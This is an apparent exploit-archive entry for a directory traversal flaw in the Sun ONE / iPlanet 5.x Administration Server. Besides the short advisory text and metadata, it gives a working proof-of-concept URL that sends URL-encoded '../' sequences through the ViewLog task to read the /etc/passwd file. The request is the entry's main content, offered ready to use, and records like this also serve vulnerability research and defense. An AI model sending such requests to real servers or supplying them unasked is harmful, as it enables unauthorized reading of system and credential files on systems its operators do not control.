Sun One 5.1 / IPlanet 5.0/5.1 - Administration Server Directory Traversal

Author: Jim Hardisty
type: remote
platform: multiple
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date_added: 2003-08-08 
date_updated: 2012-11-29 
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source: https://www.securityfocus.com/bid/8367/info

A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.

http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv